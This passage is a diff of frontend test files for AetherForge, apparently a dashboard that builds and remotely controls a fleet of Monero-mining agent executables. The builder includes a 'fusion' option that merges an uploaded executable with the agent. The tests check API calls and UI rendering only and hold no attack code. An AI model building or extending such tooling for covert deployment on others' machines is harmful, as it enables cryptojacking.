server/web/src/api/client.test.ts
Normal file
294
server/web/src/api/client.test.ts
Normal file
@@ -0,0 +1,294 @@
|
||||
/**
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { api } from './client';
|
||||
import { clearStoredAuth, setStoredAuth } from './auth';
|
||||
import { mockAgent, mockServerConfig, mockServerInfo } from '../test/fixtures';
|
||||
|
||||
function jsonResponse(data: unknown, status = 200) {
|
||||
return new Response(JSON.stringify(data), {
|
||||
status,
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
});
|
||||
}
|
||||
|
||||
function textResponse(body: string, status: number) {
|
||||
return new Response(body, { status });
|
||||
}
|
||||
|
||||
describe('api client', () => {
|
||||
let fetchMock: ReturnType<typeof vi.fn>;
|
||||
|
||||
beforeEach(() => {
|
||||
sessionStorage.clear();
|
||||
fetchMock = vi.fn();
|
||||
vi.stubGlobal('fetch', fetchMock);
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
vi.unstubAllGlobals();
|
||||
});
|
||||
|
||||
function lastFetch(): { url: string; init: RequestInit } {
|
||||
const [url, init] = fetchMock.mock.calls.at(-1)!;
|
||||
return { url: url as string, init: init as RequestInit };
|
||||
}
|
||||
|
||||
function expectAuthHeaders(init: RequestInit) {
|
||||
const headers = init.headers as Record<string, string>;
|
||||
expect(headers.Authorization).toBe(`Basic ${btoa('user:pass')}`);
|
||||
}
|
||||
|
||||
it('sends JSON Content-Type and auth on listAgents', async () => {
|
||||
setStoredAuth('user', 'pass');
|
||||
fetchMock.mockResolvedValueOnce(jsonResponse([mockAgent()]));
|
||||
|
||||
const agents = await api.listAgents();
|
||||
|
||||
expect(agents).toHaveLength(1);
|
||||
const { url, init } = lastFetch();
|
||||
expect(url).toBe('/api/v1/agents');
|
||||
expect(init.method).toBeUndefined();
|
||||
expect((init.headers as Record<string, string>)['Content-Type']).toBe('application/json');
|
||||
expectAuthHeaders(init);
|
||||
});
|
||||
|
||||
it('throws with status and body on API errors', async () => {
|
||||
fetchMock.mockResolvedValueOnce(textResponse('not found', 404));
|
||||
|
||||
await expect(api.getAgent('missing')).rejects.toThrow('API error 404: not found');
|
||||
expect(lastFetch().url).toBe('/api/v1/agents/missing');
|
||||
});
|
||||
|
||||
it('omits Authorization when logged out', async () => {
|
||||
clearStoredAuth();
|
||||
fetchMock.mockResolvedValueOnce(jsonResponse({ status: 'ok' }));
|
||||
|
||||
await api.healthCheck();
|
||||
|
||||
const headers = lastFetch().init.headers as Record<string, string>;
|
||||
expect(headers.Authorization).toBeUndefined();
|
||||
});
|
||||
|
||||
it('getAgentStats appends limit query param', async () => {
|
||||
fetchMock.mockResolvedValueOnce(jsonResponse([]));
|
||||
await api.getAgentStats('agent-1', 25);
|
||||
expect(lastFetch().url).toBe('/api/v1/agents/agent-1/stats?limit=25');
|
||||
});
|
||||
|
||||
it('getAgentStats omits limit when undefined', async () => {
|
||||
fetchMock.mockResolvedValueOnce(jsonResponse([]));
|
||||
await api.getAgentStats('agent-1');
|
||||
expect(lastFetch().url).toBe('/api/v1/agents/agent-1/stats');
|
||||
});
|
||||
|
||||
it('getRecentShares appends limit query param', async () => {
|
||||
fetchMock.mockResolvedValueOnce(jsonResponse([]));
|
||||
await api.getRecentShares(10);
|
||||
expect(lastFetch().url).toBe('/api/v1/shares?limit=10');
|
||||
});
|
||||
|
||||
it('updateConfig PUTs JSON body', async () => {
|
||||
const partial = { server: { dashboard_subtitle: 'test' } };
|
||||
fetchMock.mockResolvedValueOnce(jsonResponse(mockServerConfig(partial)));
|
||||
|
||||
await api.updateConfig(partial);
|
||||
|
||||
const { url, init } = lastFetch();
|
||||
expect(url).toBe('/api/v1/config');
|
||||
expect(init.method).toBe('PUT');
|
||||
expect(init.body).toBe(JSON.stringify(partial));
|
||||
});
|
||||
|
||||
it('buildAgent POSTs JSON when fusion disabled', async () => {
|
||||
const req = { fusion_enabled: false, wallet: '4' + 'A'.repeat(94) } as Parameters<typeof api.buildAgent>[0];
|
||||
fetchMock.mockResolvedValueOnce(jsonResponse({ build_id: 'b1', success: true }));
|
||||
|
||||
await api.buildAgent(req);
|
||||
|
||||
const { url, init } = lastFetch();
|
||||
expect(url).toBe('/api/v1/builder/build');
|
||||
expect(init.method).toBe('POST');
|
||||
expect(init.body).toBe(JSON.stringify(req));
|
||||
});
|
||||
|
||||
it('buildAgent rejects fusion without prep file', async () => {
|
||||
const req = { fusion_enabled: true } as Parameters<typeof api.buildAgent>[0];
|
||||
await expect(api.buildAgent(req)).rejects.toThrow('Fusion requires prep.exe upload');
|
||||
expect(fetchMock).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('buildAgent POSTs multipart when fusion enabled', async () => {
|
||||
setStoredAuth('user', 'pass');
|
||||
const req = { fusion_enabled: true, wallet: '4' + 'A'.repeat(94) } as Parameters<typeof api.buildAgent>[0];
|
||||
const prep = new File(['prep'], 'custom.exe', { type: 'application/octet-stream' });
|
||||
fetchMock.mockResolvedValueOnce(jsonResponse({ build_id: 'b2', success: true }));
|
||||
|
||||
await api.buildAgent(req, prep);
|
||||
|
||||
const { url, init } = lastFetch();
|
||||
expect(url).toBe('/api/v1/builder/build');
|
||||
expect(init.method).toBe('POST');
|
||||
expect(init.body).toBeInstanceOf(FormData);
|
||||
const headers = init.headers as Record<string, string>;
|
||||
expect(headers.Authorization).toBe(`Basic ${btoa('user:pass')}`);
|
||||
expect(headers['Content-Type']).toBeUndefined();
|
||||
const form = init.body as FormData;
|
||||
expect(form.get('config')).toBe(JSON.stringify(req));
|
||||
expect(form.get('prep_exe')).toBeInstanceOf(File);
|
||||
});
|
||||
|
||||
it('estimateFusion POSTs multipart with auth', async () => {
|
||||
setStoredAuth('user', 'pass');
|
||||
const req = { fusion_enabled: true } as Parameters<typeof api.estimateFusion>[0];
|
||||
const prep = new File(['prep'], 'prep.exe');
|
||||
fetchMock.mockResolvedValueOnce(jsonResponse({ estimated_size_mb: 12 }));
|
||||
|
||||
await api.estimateFusion(req, prep);
|
||||
|
||||
const { url, init } = lastFetch();
|
||||
expect(url).toBe('/api/v1/builder/estimate');
|
||||
expect(init.method).toBe('POST');
|
||||
expectAuthHeaders(init);
|
||||
});
|
||||
|
||||
it('pinBuild, unpinAll, deleteBuild use correct methods and paths', async () => {
|
||||
fetchMock
|
||||
.mockResolvedValueOnce(jsonResponse({ ok: true, pinned_id: 'b1' }))
|
||||
.mockResolvedValueOnce(jsonResponse({ ok: true }))
|
||||
.mockResolvedValueOnce(jsonResponse({ ok: true, deleted_id: 'b1' }));
|
||||
|
||||
await api.pinBuild('b1');
|
||||
expect(lastFetch().url).toBe('/api/v1/builds/b1/pin');
|
||||
expect(lastFetch().init.method).toBe('PUT');
|
||||
|
||||
await api.unpinAll();
|
||||
expect(lastFetch().url).toBe('/api/v1/builds/pin');
|
||||
expect(lastFetch().init.method).toBe('DELETE');
|
||||
|
||||
await api.deleteBuild('b1');
|
||||
expect(lastFetch().url).toBe('/api/v1/builds/b1');
|
||||
expect(lastFetch().init.method).toBe('DELETE');
|
||||
});
|
||||
|
||||
it('build URL helpers encode paths', () => {
|
||||
expect(api.buildDownloadUrl('id-1')).toBe('/api/v1/builds/id-1/download');
|
||||
expect(api.buildArtifactUrl('id-1', 'file with spaces.exe')).toBe(
|
||||
'/api/v1/builds/id-1/artifact/file%20with%20spaces.exe'
|
||||
);
|
||||
expect(api.buildUninstallUrl('id-1')).toBe('/api/v1/builds/id-1/uninstall');
|
||||
});
|
||||
|
||||
it('blueprint CRUD uses encoded names', async () => {
|
||||
fetchMock
|
||||
.mockResolvedValueOnce(jsonResponse([]))
|
||||
.mockResolvedValueOnce(jsonResponse({ name: 'preset' }))
|
||||
.mockResolvedValueOnce(jsonResponse({ success: true, name: 'preset', file_path: '/x', created_at: '' }))
|
||||
.mockResolvedValueOnce(jsonResponse({ success: true, name: 'preset' }));
|
||||
|
||||
await api.listBlueprints();
|
||||
expect(lastFetch().url).toBe('/api/v1/blueprints');
|
||||
|
||||
await api.getBlueprint('my preset');
|
||||
expect(lastFetch().url).toBe('/api/v1/blueprints/my%20preset');
|
||||
|
||||
await api.saveBlueprint('preset', { foo: 1 });
|
||||
expect(lastFetch().url).toBe('/api/v1/blueprints');
|
||||
expect(JSON.parse(lastFetch().init.body as string)).toEqual({ name: 'preset', data: { foo: 1 } });
|
||||
|
||||
await api.deleteBlueprint('my preset');
|
||||
expect(lastFetch().url).toBe('/api/v1/blueprints?name=my%20preset');
|
||||
expect(lastFetch().init.method).toBe('DELETE');
|
||||
});
|
||||
|
||||
it('fleet ops endpoints hit expected paths', async () => {
|
||||
fetchMock
|
||||
.mockResolvedValueOnce(jsonResponse([]))
|
||||
.mockResolvedValueOnce(jsonResponse([]))
|
||||
.mockResolvedValueOnce(jsonResponse([]))
|
||||
.mockResolvedValueOnce(jsonResponse({ xmr_per_day: 0.01, usd_per_day: 1, network_hashrate: 1 }))
|
||||
.mockResolvedValueOnce(jsonResponse({ success: true }))
|
||||
.mockResolvedValueOnce(jsonResponse({ agent_id: 'a1', content: 'log' }))
|
||||
.mockResolvedValueOnce(jsonResponse({ agent_id: 'a1', content: 'fresh' }))
|
||||
.mockResolvedValueOnce(jsonResponse({ success: true, agent: mockAgent() }))
|
||||
.mockResolvedValueOnce(jsonResponse({ success: true, sent: 2, failed: 0, action: 'pause' }));
|
||||
|
||||
await api.getAlerts();
|
||||
expect(lastFetch().url).toBe('/api/v1/alerts');
|
||||
|
||||
await api.getPoolStatus();
|
||||
expect(lastFetch().url).toBe('/api/v1/pools/status');
|
||||
|
||||
await api.getAIActivity();
|
||||
expect(lastFetch().url).toBe('/api/v1/ai/activity');
|
||||
|
||||
await api.getEarningsEstimate(1234.5);
|
||||
expect(lastFetch().url).toBe('/api/v1/earnings/estimate?hashrate=1234.5');
|
||||
|
||||
await api.sendAgentCommand('a1', 'pause', { reason: 'test' });
|
||||
expect(lastFetch().url).toBe('/api/v1/agents/a1/command');
|
||||
expect(JSON.parse(lastFetch().init.body as string)).toEqual({ action: 'pause', reason: 'test' });
|
||||
|
||||
await api.getAgentLog('a1');
|
||||
expect(lastFetch().url).toBe('/api/v1/agents/a1/log');
|
||||
|
||||
await api.getAgentLog('a1', true);
|
||||
expect(lastFetch().url).toBe('/api/v1/agents/a1/log?refresh=1');
|
||||
|
||||
await api.updateAgentMeta('a1', 'notes', ['tag1']);
|
||||
expect(lastFetch().url).toBe('/api/v1/agents/a1/meta');
|
||||
expect(JSON.parse(lastFetch().init.body as string)).toEqual({ notes: 'notes', tags: ['tag1'] });
|
||||
|
||||
await api.sendBulkCommand(['a1', 'a2'], 'resume');
|
||||
expect(lastFetch().url).toBe('/api/v1/agents/bulk-command');
|
||||
expect(JSON.parse(lastFetch().init.body as string)).toEqual({
|
||||
agent_ids: ['a1', 'a2'],
|
||||
action: 'resume',
|
||||
});
|
||||
});
|
||||
|
||||
it('createUser POSTs credentials', async () => {
|
||||
fetchMock.mockResolvedValueOnce(jsonResponse({ success: true }));
|
||||
|
||||
await api.createUser('alice', 'secret');
|
||||
|
||||
expect(lastFetch().url).toBe('/api/v1/users');
|
||||
expect(JSON.parse(lastFetch().init.body as string)).toEqual({ username: 'alice', password: 'secret' });
|
||||
});
|
||||
|
||||
it('getXmrPrice and getServerInfo', async () => {
|
||||
fetchMock
|
||||
.mockResolvedValueOnce(jsonResponse({ usd: 200, updated_at: 'now' }))
|
||||
.mockResolvedValueOnce(jsonResponse(mockServerInfo));
|
||||
|
||||
await api.getXmrPrice();
|
||||
expect(lastFetch().url).toBe('/api/v1/market/xmr');
|
||||
|
||||
await api.getServerInfo();
|
||||
expect(lastFetch().url).toBe('/api/v1/server/info');
|
||||
});
|
||||
|
||||
it('cancelBuild DELETEs encoded token', async () => {
|
||||
fetchMock.mockResolvedValueOnce(jsonResponse({ cancelled: true }));
|
||||
|
||||
await api.cancelBuild('token/with/slash');
|
||||
|
||||
expect(lastFetch().url).toBe('/api/v1/builder/cancel/token%2Fwith%2Fslash');
|
||||
expect(lastFetch().init.method).toBe('DELETE');
|
||||
});
|
||||
|
||||
it('getDashboardStats and listBuilds', async () => {
|
||||
fetchMock
|
||||
.mockResolvedValueOnce(
|
||||
jsonResponse({ total_agents: 1, online_agents: 1, total_hashrate: 100, total_shares: 5 })
|
||||
)
|
||||
.mockResolvedValueOnce(jsonResponse([]));
|
||||
|
||||
await api.getDashboardStats();
|
||||
expect(lastFetch().url).toBe('/api/v1/dashboard/stats');
|
||||
|
||||
await api.listBuilds();
|
||||
expect(lastFetch().url).toBe('/api/v1/builds');
|
||||
});
|
||||
});
|
||||
@@ -4,9 +4,14 @@ import { authHeaders } from './auth';
|
||||
const API_BASE = '/api/v1';
|
||||
|
||||
async function fetchJSON<T>(url: string, options?: RequestInit): Promise<T> {
|
||||
const { headers: extraHeaders, ...rest } = options ?? {};
|
||||
const res = await fetch(`${API_BASE}${url}`, {
|
||||
headers: { 'Content-Type': 'application/json', ...authHeaders(), ...(options?.headers as Record<string, string>) },
|
||||
...options,
|
||||
...rest,
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
...authHeaders(),
|
||||
...(extraHeaders as Record<string, string> | undefined),
|
||||
},
|
||||
});
|
||||
if (!res.ok) {
|
||||
const err = await res.text();
|
||||
|
||||
68
server/web/src/api/download.test.ts
Normal file
68
server/web/src/api/download.test.ts
Normal file
@@ -0,0 +1,68 @@
|
||||
/**
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { downloadAuthedFile, downloadApiFile } from './download';
|
||||
import { setStoredAuth } from './auth';
|
||||
|
||||
describe('downloadAuthedFile', () => {
|
||||
let fetchMock: ReturnType<typeof vi.fn>;
|
||||
let clickMock: ReturnType<typeof vi.fn>;
|
||||
|
||||
beforeEach(() => {
|
||||
sessionStorage.clear();
|
||||
fetchMock = vi.fn();
|
||||
vi.stubGlobal('fetch', fetchMock);
|
||||
clickMock = vi.fn();
|
||||
vi.spyOn(HTMLAnchorElement.prototype, 'click').mockImplementation(clickMock);
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
vi.restoreAllMocks();
|
||||
vi.unstubAllGlobals();
|
||||
});
|
||||
|
||||
it('normalizes relative paths under /api/v1', async () => {
|
||||
setStoredAuth('user', 'pass');
|
||||
fetchMock.mockResolvedValueOnce(new Response(new Blob(['data']), { status: 200 }));
|
||||
|
||||
await downloadAuthedFile('/builds/b1/download', 'agent.exe');
|
||||
|
||||
const [url, init] = fetchMock.mock.calls[0];
|
||||
expect(url).toBe('/api/v1/builds/b1/download');
|
||||
expect((init.headers as Record<string, string>).Authorization).toBe(`Basic ${btoa('user:pass')}`);
|
||||
expect(clickMock).toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('leaves full /api/v1 paths unchanged', async () => {
|
||||
fetchMock.mockResolvedValueOnce(new Response(new Blob(['x']), { status: 200 }));
|
||||
|
||||
await downloadAuthedFile('/api/v1/builds/b2/uninstall', 'uninstall.bat');
|
||||
|
||||
expect(fetchMock.mock.calls[0][0]).toBe('/api/v1/builds/b2/uninstall');
|
||||
});
|
||||
|
||||
it('prefixes bare paths without leading slash', async () => {
|
||||
fetchMock.mockResolvedValueOnce(new Response(new Blob(['x']), { status: 200 }));
|
||||
|
||||
await downloadAuthedFile('builds/b3/artifact/file.exe', 'file.exe');
|
||||
|
||||
expect(fetchMock.mock.calls[0][0]).toBe('/api/v1/builds/b3/artifact/file.exe');
|
||||
});
|
||||
|
||||
it('throws server error body on failure', async () => {
|
||||
fetchMock.mockResolvedValueOnce(new Response('forbidden', { status: 403 }));
|
||||
|
||||
await expect(downloadAuthedFile('/builds/x/download', 'x.exe')).rejects.toThrow('forbidden');
|
||||
});
|
||||
|
||||
it('throws status fallback when error body empty', async () => {
|
||||
fetchMock.mockResolvedValueOnce(new Response('', { status: 500 }));
|
||||
|
||||
await expect(downloadAuthedFile('/builds/x/download', 'x.exe')).rejects.toThrow('Download failed (500)');
|
||||
});
|
||||
|
||||
it('downloadApiFile is an alias', () => {
|
||||
expect(downloadApiFile).toBe(downloadAuthedFile);
|
||||
});
|
||||
});
|
||||
795
server/web/src/components/components.test.tsx
Normal file
795
server/web/src/components/components.test.tsx
Normal file
@@ -0,0 +1,795 @@
|
||||
/**
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { cleanup, render, screen, waitFor, fireEvent } from '@testing-library/react';
|
||||
import userEvent from '@testing-library/user-event';
|
||||
import { MemoryRouter } from 'react-router-dom';
|
||||
import { type ReactNode } from 'react';
|
||||
import { mockAgent, mockServerInfo } from '../test/fixtures';
|
||||
import { api } from '../api/client';
|
||||
import { downloadApiFile, downloadAuthedFile } from '../api/download';
|
||||
import { getStoredAuth } from '../api/auth';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import { DEFAULT_FLEET_FILTERS } from '../help/fleetFilters';
|
||||
|
||||
import NeonCard from './NeonCard/NeonCard';
|
||||
import { HelpTip, FieldHint } from './HelpTip';
|
||||
import DownloadButton from './DownloadButton';
|
||||
import AuthDownloadButton from './AuthDownloadButton';
|
||||
import ErrorBoundary from './ErrorBoundary';
|
||||
import SessionGate from './SessionGate';
|
||||
import GaugeRing from './Charts/GaugeRing';
|
||||
import HashrateChart from './Charts/HashrateChart';
|
||||
import AgentRemoteActions from './Fleet/AgentRemoteActions';
|
||||
import AgentListItem from './Fleet/AgentListItem';
|
||||
import FleetToolbar from './Fleet/FleetToolbar';
|
||||
import { LanDownloadQR } from './Fleet/LanDownloadQR';
|
||||
import {
|
||||
AlertBanner,
|
||||
PoolStatusPanel,
|
||||
AIActivityPanel,
|
||||
EarningsEstimator,
|
||||
FleetHealthCard,
|
||||
ContributionBars,
|
||||
UnderperformerList,
|
||||
OSArchBreakdown,
|
||||
LANGroupView,
|
||||
} from './Fleet/FleetPanels';
|
||||
import { ForgeLockedHint, ForgeFieldBadge, ForgeSectionHeader } from './Forge/ForgeFieldHints';
|
||||
import {
|
||||
PipelineFlow,
|
||||
FleetPipelineStatus,
|
||||
ActivityPulse,
|
||||
ForgeCalibrateCompare,
|
||||
RoadmapGrid,
|
||||
} from './Visual/VisualComponents';
|
||||
import MatrixStreamOverlay from './Visual/MatrixStreamOverlay';
|
||||
import SystemStatusBar from './Visual/SystemStatusBar';
|
||||
import FleetTopologyMap from './Visual/3D/FleetTopologyMap';
|
||||
import Layout from './Layout/Layout';
|
||||
import AmbientBackground from './Ambient/AmbientBackground';
|
||||
import CursorFire from './Visual/CursorFire';
|
||||
import MatrixRain from './Layout/MatrixRain';
|
||||
|
||||
vi.mock('../hooks/useWebSocket', () => ({
|
||||
useWebSocket: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock('../context/ForgeContext', () => ({
|
||||
useForge: vi.fn(() => ({ forging: false, stage: '' })),
|
||||
}));
|
||||
|
||||
vi.mock('../api/download', () => ({
|
||||
downloadApiFile: vi.fn(),
|
||||
downloadAuthedFile: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock('../api/auth', () => ({
|
||||
getStoredAuth: vi.fn(),
|
||||
setStoredAuth: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock('qrcode', () => ({
|
||||
default: {
|
||||
toCanvas: vi.fn().mockResolvedValue(undefined),
|
||||
},
|
||||
}));
|
||||
|
||||
vi.mock('recharts', async () => {
|
||||
const actual = await vi.importActual<typeof import('recharts')>('recharts');
|
||||
return {
|
||||
...actual,
|
||||
ResponsiveContainer: ({ children }: { children: ReactNode }) => (
|
||||
<div data-testid="recharts-responsive">{children}</div>
|
||||
),
|
||||
};
|
||||
});
|
||||
|
||||
vi.mock('@react-three/fiber', () => ({
|
||||
Canvas: ({ children }: { children: ReactNode }) => <div data-testid="three-canvas">{children}</div>,
|
||||
useFrame: () => {},
|
||||
}));
|
||||
|
||||
vi.mock('@react-three/drei', () => ({
|
||||
OrbitControls: () => null,
|
||||
Stars: () => null,
|
||||
Line: () => null,
|
||||
Sphere: () => null,
|
||||
}));
|
||||
|
||||
const useWebSocketMock = vi.mocked(useWebSocket);
|
||||
const downloadApiFileMock = vi.mocked(downloadApiFile);
|
||||
const downloadAuthedFileMock = vi.mocked(downloadAuthedFile);
|
||||
const getStoredAuthMock = vi.mocked(getStoredAuth);
|
||||
|
||||
function ThrowOnce({ shouldThrow }: { shouldThrow: boolean }) {
|
||||
if (shouldThrow) throw new Error('render boom');
|
||||
return <span>child ok</span>;
|
||||
}
|
||||
|
||||
describe('NeonCard', () => {
|
||||
afterEach(() => cleanup());
|
||||
|
||||
it('renders children with default brass accent and 3d class', () => {
|
||||
render(<NeonCard>Inner</NeonCard>);
|
||||
const card = screen.getByText('Inner').closest('.neon-card');
|
||||
expect(card).toHaveClass('neon-card-brass', 'neon-card-3d');
|
||||
expect(card?.querySelector('.neon-card-rim')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('applies accent, hud, tilt3d off, and custom className', () => {
|
||||
render(
|
||||
<NeonCard accent="cyan" hud tilt3d={false} className="extra">
|
||||
X
|
||||
</NeonCard>
|
||||
);
|
||||
const card = screen.getByText('X').closest('.neon-card');
|
||||
expect(card).toHaveClass('neon-card-cyan', 'hud-corners', 'extra');
|
||||
expect(card).not.toHaveClass('neon-card-3d');
|
||||
});
|
||||
});
|
||||
|
||||
describe('HelpTip', () => {
|
||||
afterEach(() => cleanup());
|
||||
|
||||
it('returns null for unknown field', () => {
|
||||
const { container } = render(<HelpTip field="nonexistent_field_xyz" />);
|
||||
expect(container.firstChild).toBeNull();
|
||||
});
|
||||
|
||||
it('shows help popup on hover for known field', async () => {
|
||||
render(<HelpTip field="calibrate_wallet" label="Wallet" />);
|
||||
expect(screen.getByRole('button', { name: /Help: calibrate_wallet/ })).toBeInTheDocument();
|
||||
await userEvent.setup().hover(screen.getByRole('button'));
|
||||
await waitFor(() => {
|
||||
expect(screen.getByRole('tooltip')).toHaveTextContent(/Monero payout address/i);
|
||||
});
|
||||
});
|
||||
|
||||
it('FieldHint export is deprecated no-op', () => {
|
||||
const { container } = render(<FieldHint field="calibrate_wallet" />);
|
||||
expect(container.firstChild).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe('DownloadButton', () => {
|
||||
afterEach(() => cleanup());
|
||||
|
||||
beforeEach(() => {
|
||||
downloadApiFileMock.mockReset();
|
||||
});
|
||||
|
||||
it('downloads on click and shows busy label', async () => {
|
||||
downloadApiFileMock.mockImplementation(() => new Promise((r) => setTimeout(r, 50)));
|
||||
render(
|
||||
<DownloadButton apiPath="/api/x" filename="a.bin">
|
||||
Save
|
||||
</DownloadButton>
|
||||
);
|
||||
const btn = screen.getByRole('button', { name: 'Save' });
|
||||
await userEvent.setup().click(btn);
|
||||
expect(screen.getByRole('button', { name: 'Downloading…' })).toBeDisabled();
|
||||
await waitFor(() => expect(downloadApiFileMock).toHaveBeenCalledWith('/api/x', 'a.bin'));
|
||||
});
|
||||
|
||||
it('alerts on download failure', async () => {
|
||||
downloadApiFileMock.mockRejectedValue(new Error('network down'));
|
||||
const alertSpy = vi.spyOn(window, 'alert').mockImplementation(() => {});
|
||||
render(
|
||||
<DownloadButton apiPath="/api/x" filename="a.bin">
|
||||
Save
|
||||
</DownloadButton>
|
||||
);
|
||||
await userEvent.setup().click(screen.getByRole('button'));
|
||||
await waitFor(() => expect(alertSpy).toHaveBeenCalledWith('network down'));
|
||||
alertSpy.mockRestore();
|
||||
});
|
||||
});
|
||||
|
||||
describe('AuthDownloadButton', () => {
|
||||
afterEach(() => cleanup());
|
||||
|
||||
beforeEach(() => {
|
||||
downloadAuthedFileMock.mockReset();
|
||||
});
|
||||
|
||||
it('calls downloadAuthedFile and shows ellipsis while busy', async () => {
|
||||
downloadAuthedFileMock.mockImplementation(() => new Promise((r) => setTimeout(r, 30)));
|
||||
render(
|
||||
<AuthDownloadButton apiPath="/api/build/1" filename="b.exe">
|
||||
DL
|
||||
</AuthDownloadButton>
|
||||
);
|
||||
await userEvent.setup().click(screen.getByRole('button', { name: 'DL' }));
|
||||
expect(screen.getByRole('button', { name: '…' })).toBeDisabled();
|
||||
await waitFor(() =>
|
||||
expect(downloadAuthedFileMock).toHaveBeenCalledWith('/api/build/1', 'b.exe')
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe('ErrorBoundary', () => {
|
||||
afterEach(() => cleanup());
|
||||
|
||||
it('renders children when no error', () => {
|
||||
render(
|
||||
<ErrorBoundary>
|
||||
<ThrowOnce shouldThrow={false} />
|
||||
</ErrorBoundary>
|
||||
);
|
||||
expect(screen.getByText('child ok')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('shows fallback UI and clears error on retry', async () => {
|
||||
let throwNow = true;
|
||||
function MaybeThrow() {
|
||||
if (throwNow) throw new Error('render boom');
|
||||
return <span>child ok</span>;
|
||||
}
|
||||
render(
|
||||
<ErrorBoundary>
|
||||
<MaybeThrow />
|
||||
</ErrorBoundary>
|
||||
);
|
||||
expect(screen.getByRole('heading', { name: 'Something failed to render' })).toBeInTheDocument();
|
||||
throwNow = false;
|
||||
await userEvent.setup().click(screen.getByRole('button', { name: 'Retry' }));
|
||||
expect(screen.getByText('child ok')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('uses custom fallback when provided', () => {
|
||||
render(
|
||||
<ErrorBoundary fallback={<p>Custom fail</p>}>
|
||||
<ThrowOnce shouldThrow />
|
||||
</ErrorBoundary>
|
||||
);
|
||||
expect(screen.getByText('Custom fail')).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
|
||||
describe('SessionGate', () => {
|
||||
afterEach(() => {
|
||||
cleanup();
|
||||
vi.unstubAllGlobals();
|
||||
});
|
||||
|
||||
beforeEach(() => {
|
||||
getStoredAuthMock.mockReturnValue(null);
|
||||
});
|
||||
|
||||
it('shows login form when unauthenticated', async () => {
|
||||
vi.stubGlobal(
|
||||
'fetch',
|
||||
vi.fn().mockResolvedValue({ ok: false })
|
||||
);
|
||||
render(
|
||||
<SessionGate>
|
||||
<div>protected</div>
|
||||
</SessionGate>
|
||||
);
|
||||
await waitFor(() => {
|
||||
expect(screen.getByRole('heading', { name: 'AetherForge' })).toBeInTheDocument();
|
||||
});
|
||||
expect(screen.queryByText('protected')).not.toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('renders children when stored auth validates', async () => {
|
||||
getStoredAuthMock.mockReturnValue('dGVzdA==');
|
||||
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({ ok: true }));
|
||||
render(
|
||||
<SessionGate>
|
||||
<div>protected</div>
|
||||
</SessionGate>
|
||||
);
|
||||
await waitFor(() => expect(screen.getByText('protected')).toBeInTheDocument());
|
||||
});
|
||||
});
|
||||
|
||||
describe('GaugeRing', () => {
|
||||
afterEach(() => cleanup());
|
||||
|
||||
it('renders label and percentage for percent-scale max', () => {
|
||||
render(<GaugeRing value={42} max={100} label="CPU" sublabel="load" />);
|
||||
expect(screen.getByText('42%')).toBeInTheDocument();
|
||||
expect(screen.getByText('CPU')).toBeInTheDocument();
|
||||
expect(screen.getByText('load')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('shows raw value in center while ring arc clamps to 0–100%', () => {
|
||||
const { rerender, container } = render(<GaugeRing value={-10} max={100} label="X" />);
|
||||
expect(screen.getByText('-10%')).toBeInTheDocument();
|
||||
const fill = container.querySelector('.gauge-ring-fill') as SVGCircleElement;
|
||||
expect(fill.getAttribute('stroke-dashoffset')).toBe(String(2 * Math.PI * 42));
|
||||
rerender(<GaugeRing value={200} max={100} label="X" />);
|
||||
expect(screen.getByText('200%')).toBeInTheDocument();
|
||||
expect((container.querySelector('.gauge-ring-fill') as SVGCircleElement).getAttribute('stroke-dashoffset')).toBe('0');
|
||||
});
|
||||
});
|
||||
|
||||
describe('HashrateChart', () => {
|
||||
afterEach(() => cleanup());
|
||||
|
||||
it('shows empty state when data is empty', () => {
|
||||
render(<HashrateChart data={[]} title="Fleet Hash" />);
|
||||
expect(screen.getByText('Fleet Hash')).toBeInTheDocument();
|
||||
expect(screen.getByText(/Awaiting signal from fleet/i)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('renders chart with data points', () => {
|
||||
render(
|
||||
<HashrateChart
|
||||
data={[
|
||||
{ time: '12:00', value: 1500 },
|
||||
{ time: '12:01', value: 2000 },
|
||||
]}
|
||||
title="Live"
|
||||
/>
|
||||
);
|
||||
expect(screen.getByText('Live')).toBeInTheDocument();
|
||||
expect(screen.getByText('● LIVE')).toBeInTheDocument();
|
||||
expect(screen.getByTestId('recharts-responsive')).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
|
||||
describe('AgentRemoteActions', () => {
|
||||
afterEach(() => cleanup());
|
||||
|
||||
beforeEach(() => {
|
||||
vi.spyOn(api, 'listBuilds').mockResolvedValue([]);
|
||||
vi.spyOn(api, 'sendAgentCommand').mockResolvedValue({ success: true });
|
||||
});
|
||||
|
||||
it('compact mode disables actions when offline', () => {
|
||||
render(
|
||||
<AgentRemoteActions agent={mockAgent({ status: 'offline' })} compact online={false} />
|
||||
);
|
||||
expect(screen.getByRole('button', { name: 'Pause' })).toBeDisabled();
|
||||
expect(screen.getByRole('button', { name: 'Resume' })).toBeDisabled();
|
||||
});
|
||||
|
||||
it('compact dispatches pause when online', async () => {
|
||||
const cmd = vi.spyOn(api, 'sendAgentCommand').mockResolvedValue({ success: true });
|
||||
render(
|
||||
<AgentRemoteActions
|
||||
agent={mockAgent({ id: 'a1', status: 'online' })}
|
||||
compact
|
||||
online
